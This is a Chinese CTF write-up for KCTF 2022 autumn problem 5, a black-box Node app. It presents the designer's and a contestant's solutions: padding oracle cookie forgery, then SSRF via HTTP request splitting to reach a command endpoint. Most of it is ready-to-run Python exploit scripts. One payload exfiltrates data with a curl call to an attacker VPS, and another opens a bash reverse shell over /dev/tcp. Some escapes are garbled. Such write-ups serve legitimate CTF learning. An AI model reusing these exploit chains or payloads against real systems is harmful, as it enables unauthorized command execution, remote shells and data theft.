出题团队简介
赛题设计思路
作者(Achilles)来自星盟安全团队。
这是一个node项目,题目需要比赛者ssrf进而命令执行获得藏在比赛题目源代码中的flag。黑盒,不给源代码附件。
先访问/admin,发现它是解密cookie判断是不是管理员,用padding oracle attack伪造管理员cookie
http.get函数在node的8版本(其中的较低版本)或者更低版本存在被http拆分攻击危险。攻击者通过这个漏洞可以达到http走私的效果。
通过走私满足/C00mmmmanD对ip的要求,从而命令执行
下面是一把梭脚本,注意把这个脚本放在这个项目https://github.com/pspaul/padding-oracle文件夹里面。这个脚本执行的命令是
```bash
curl xxxx:xxx/?`cat kctf.js|grep flag|base64`
在vps那里nc,收到后base64解密后得到flag:
# -*- coding: utf-8 -*-
import urllib.parse
from http.cookies import SimpleCookie
import requests
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
attackIP = ""
attackPort = ""
vpsIP = ""
vpsPort = ""
def payload_encode(raw):
payload = raw.replace('n', 'u010du010a')
.replace('+', 'u012b')
.replace(' ', 'u0120')
.replace('"', 'u0122')
.replace("'", 'u0a27')
.replace('[', 'u015b')
.replace(']', 'u015d')
.replace('`', 'u0127')
.replace('"', 'u0122')
.replace("'", 'u0a27')
.replace('[', 'u015b')
.replace(']', 'u015d')
return payload
def oracle(cipher_hex):
headers = {'Cookie':"isadmin={}".format(cipher_hex)}
r = requests.get("http://"+attackIP+":"+attackPort+"/admin",headers = headers)
response = r.content
if b"Decrypt error" not in response:
return True
else:
return False
def step1():
r = requests.get(url="http://"+attackIP+":"+attackPort)
cookie = SimpleCookie(r.headers['Set-Cookie'])
cookie = cookie["isadmin"].value
return cookie
def step2(cipher):
o = PaddingOracle(oracle, max_retries=-1)
plain, _ = o.decrypt(cipher, optimized_alphabet=json_alphabet())
plain_new = b"{"admin":"1"}"
cipher_new = o.craft(cipher, plain, plain_new)
return cipher_new
def step3(new_cookie):
payload = " HTTP/1.1nnPOST /C00mmmmanD HTTP/1.1nHost: 127.0.0.1nCookie: isadmin={}nConnection: closenContent-Type: application/x-www-form-urlencodednContent-Length: 75nncmd=curl%20"+vpsIP+"%3A"+vpsPort+"%3F%60cat%20kctf.js%7Cgrep%20flag%7Cbase64%60nnGET / HTTP/1.1ntest:"
payload = payload.format(new_cookie)
payload = payload_encode(payload)
r = requests.get("http://"+attackIP+":"+attackPort+"/search?url=http://127.0.0.1:"+attackPort+"/" + urllib.parse.quote(payload))
if __name__ == "__main__":
cookie = step1()
new_cookie = step2(cookie)
step3(new_cookie)
赛题解析
本赛题解析由看雪论坛会员 rmb122 给出:
然后修改第一位, 提示 json parse error, 那么可以得知大概率是 CBC 模式 + PKCS7 Padding。
import binascii
import requests
# https://github.com/mwielgoszewski/python-paddingoracle
from paddingoracle import PaddingOracle, BadPaddingException
class PadBuster(PaddingOracle):
def __init__(self, session: requests.Session, wait: float = 0.1, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = session
self.wait = wait
def oracle(self, data, **kwargs):
token = binascii.hexlify(data).decode()
resp = None
while True:
try:
resp = self.session.get('http://150.158.18.137:5329/admin', cookies={
'isadmin': token
})
break
except requests.HTTPError:
# time.sleep(self.wait)
continue
self.history.append(resp)
if 'Decrypt error' not in resp.text:
return
else:
raise BadPaddingException
sess = requests.session()
pad_buster = PadBuster(sess)
ct = binascii.unhexlify('b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2')
print(len(ct))
print(ct)
# admin_token = pad_buster.decrypt(ct[16:], block_size=16, iv=ct[:16])
# print(admin_token)
# b'{"admin":"0"}x03x03x03'
iv = bytearray(ct[:16])
iv[10] = iv[10] ^ ord('0') ^ ord('1')
print(binascii.hexlify(bytes(iv) + ct[16:]))
使用构造的 cookie 访问 /admin, 提示 post cmd 到 /C00mmmmanD. 但是此时即使带上 isadmin cookie 访问 /C00mmmmanD 却还提示不是 admin, 那么大概率要结合一开始的 /search 的接口来 SSRF。
但是 search 只能发送 GET 请求, 由 Http banner 可以得知服务器是 express, 搜索 node 的 CRLF, 可以搜到 https://xz.aliyun.com/t/2894
直接用同样的方法测试可以利用, 那么直接构造请求 POST /C00mmmmanD 即可。
import requests
sess = requests.session()
CRLF = 'č̊'
BLANK = '̠'
r = f'''1 HTTP/1.1
Cookie: isadmin=b60bdcada90e7c628b68d1ed965363858dc1695757156638e9b86ac59c99e7c2
Connection: keep-alive
Host: 127.0.0.1
POST /C00mmmmanD HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.86.0
Accept: */*
Connection: close
Cookie: isadmin=b60bdcada90e7c628b68d1ed965363858dc1695757156638e9b86ac59c99e7c2
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
cmd=bash -c "bash -i >%2526 /dev/tcp/ip/port 0>%25261"
'''.replace('n', CRLF).replace(' ', BLANK)
# 记得修改 Content-Length
print(r)
r = sess.get('http://150.158.18.137:5329/search?url=http://127.0.0.1:5329/C00mmmmanD?a=' + r)
print(r.text)
https://ctf.pediy.com/game-season_fight-221.htm
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):看雪2022 KCTF 秋季赛 | 第五题设计思路及解析